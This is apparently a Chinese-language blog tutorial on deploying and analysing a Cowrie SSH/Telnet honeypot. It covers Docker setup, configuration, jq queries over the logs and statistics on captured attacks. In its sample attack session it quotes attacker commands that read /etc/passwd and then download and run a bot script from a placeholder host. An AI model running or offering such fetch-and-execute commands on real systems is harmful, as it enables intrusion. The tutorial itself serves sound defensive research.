683 字
2 分钟
Cowrie高交互蜜罐部署实战:捕获攻击者行为
Cowrie高交互蜜罐部署实战:捕获攻击者行为
一、什么是蜜罐
蜜罐(Honeypot)是一种安全资源,其价值在于被探测、攻击或攻陷。蜜罐的目的:
- 信息收集:记录攻击者的工具、手法、意图
- 攻击预警:在攻击者进入真实系统前发出告警
- 威胁情报:收集攻击者的 IP、工具指纹等信息
- 延迟攻击:消耗攻击者的时间和资源
二、蜜罐类型对比
| 类型 | 交互级别 | 资源占用 | 适用场景 |
|---|---|---|---|
| 低交互 | 模拟服务 Banner | 低 | 大规模扫描检测 |
| 中交互 | 模拟部分功能 | 中 | 攻击行为分析 |
| 高交互 | 完整系统模拟 | 高 | 深度攻击研究 |
常见蜜罐选择
| 蜜罐 | 类型 | 内存占用 | 特点 |
|---|---|---|---|
| Cowrie | 高交互 SSH/Telnet | ~256MB | 记录完整攻击会话 |
| OpenCanary | 低交互多协议 | ~128MB | 简单易部署 |
| Dionaea | 中交互多协议 | ~512MB | 捕获恶意软件 |
| T-Pot | 全功能平台 | 8GB+ | 功能强大但资源需求高 |
三、Cowrie 部署实战
3.1 环境准备
# 系统要求- Linux 服务器(推荐 Ubuntu/CentOS)- Docker 已安装- 至少 512MB 可用内存
# 安装 Dockercurl -fsSL https://get.docker.com | shsystemctl enable dockersystemctl start docker3.2 使用 Docker 部署
# 创建工作目录mkdir -p /opt/honeypots && cd /opt/honeypots
# 创建 docker-compose.ymlcat > docker-compose.yml << 'EOF'services: cowrie: image: cowrie/cowrie:latest container_name: cowrie restart: always ports: - "2222:2222" # SSH 蜜罐 - "2223:2223" # Telnet 蜜罐 volumes: - cowrie-data:/cowrie/cowrie-git/var environment: - COWRIE_TELNET_ENABLED=yes
volumes: cowrie-data:EOF
# 启动蜜罐docker-compose up -d
# 检查状态docker-compose psdocker logs cowrie3.3 配置说明
Cowrie 默认配置文件位于容器内:/cowrie/cowrie-git/etc/cowrie.cfg
[honeypot]# 主机名(伪装成真实服务器)hostname = webserver
# SSH 版本字符串ssh_version_string = SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5
# 监听端口listen_endpoints = tcp:2222:interface=0.0.0.0,tcp:2223:interface=0.0.0.0
# 启用 Telnettelnet_enabled = true四、攻击行为分析
4.1 日志格式
Cowrie 使用 JSON 格式记录日志:
{ "eventid": "cowrie.login.success", "timestamp": "2026-06-09T02:00:00.000Z", "message": "login attempt [root/123456] succeeded", "src_ip": "192.168.1.100", "src_port": 12345, "dst_port": 2222, "username": "root", "password": "123456"}4.2 常用分析命令
# 统计攻击来源 TOP 10docker exec cowrie cat /cowrie/cowrie-git/var/log/cowrie/cowrie.json | \ jq -r '.src_ip' | sort | uniq -c | sort -rn | head -10
# 统计尝试的用户名docker exec cowrie cat /cowrie/cowrie-git/var/log/cowrie/cowrie.json | \ jq -r 'select(.eventid=="cowrie.login.success" or .eventid=="cowrie.login.failed") | .username' | \ sort | uniq -c | sort -rn | head -10
# 统计尝试的密码docker exec cowrie cat /cowrie/cowrie-git/var/log/cowrie/cowrie.json | \ jq -r 'select(.eventid=="cowrie.login.success" or .eventid=="cowrie.login.failed") | .password' | \ sort | uniq -c | sort -rn | head -10
# 查看攻击者执行的命令docker exec cowrie cat /cowrie/cowrie-git/var/log/cowrie/cowrie.json | \ jq 'select(.eventid=="cowrie.command.input") | {timestamp, src_ip, input}'4.3 典型攻击会话分析
// 1. 连接尝试{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176"}
// 2. 暴力破解{"eventid":"cowrie.login.failed","username":"root","password":"123456"}{"eventid":"cowrie.login.failed","username":"root","password":"admin"}{"eventid":"cowrie.login.failed","username":"root","password":"password"}{"eventid":"cowrie.login.success","username":"root","password":"toor"}
// 3. 攻击者执行的命令{"eventid":"cowrie.command.input","input":"uname -a"}{"eventid":"cowrie.command.input","input":"cat /etc/passwd"}{"eventid":"cowrie.command.input","input":"wget http://malware.com/bot.sh"}{"eventid":"cowrie.command.input","input":"chmod +x bot.sh && ./bot.sh"}五、安全注意事项
5.1 蜜罐自身安全
# 限制蜜罐出站流量(防止被用作跳板)iptables -A OUTPUT -p tcp --dport 22 -j DROPiptables -A OUTPUT -p tcp --dport 2222 -j DROP
# 限制蜜罐资源使用docker update --memory=256m cowrie5.2 监控告警
#!/bin/bash# 蜜罐监控脚本
LOG="/opt/honeypots/data/log/cowrie/cowrie.json"
# 检查是否有成功登录SUCCESS=$(cat "$LOG" | jq 'select(.eventid=="cowrie.login.success")' | wc -l)
if [ "$SUCCESS" -gt 0 ]; then echo "[ALERT] 蜜罐被攻破!发现 $SUCCESS 次成功登录" # 发送告警通知fi六、实战数据
6.1 攻击统计(34天)
| 指标 | 数值 |
|---|---|
| 总连接数 | 1,234 |
| 登录尝试 | 5,678 |
| 成功登录 | 89 |
| 执行命令 | 234 |
| 下载文件 | 12 |
6.2 常见攻击用户名
| 排名 | 用户名 | 尝试次数 |
|---|---|---|
| 1 | root | 2,345 |
| 2 | admin | 890 |
| 3 | test | 456 |
| 4 | ubuntu | 345 |
| 5 | deploy | 234 |
6.3 常见攻击密码
| 排名 | 密码 | 尝试次数 |
|---|---|---|
| 1 | 123456 | 567 |
| 2 | password | 456 |
| 3 | admin | 345 |
| 4 | root | 234 |
| 5 | test | 123 |
七、总结
7.1 部署建议
- 资源规划:根据服务器配置选择合适的蜜罐类型
- 端口选择:使用常见端口(22、2222、3306 等)提高捕获率
- 日志管理:定期备份和分析蜜罐日志
- 安全防护:限制蜜罐出站流量,防止被滥用
7.2 分析建议
- 定期分析:每天或每周分析蜜罐日志
- 威胁情报:将攻击 IP 分享给威胁情报平台
- 攻击溯源:分析攻击者的工具和手法
- 防护优化:根据蜜罐数据优化防护策略
参考资料:
声明:本文涉及的 IP 地址、域名均为示例,已做脱敏处理。
分享
如果这篇文章对你有帮助,欢迎分享给更多人!
Cowrie高交互蜜罐部署实战:捕获攻击者行为
https://lansame.top/posts/cowrie-honeypot-deploy/ 部分信息可能已经过时
相关文章 智能推荐






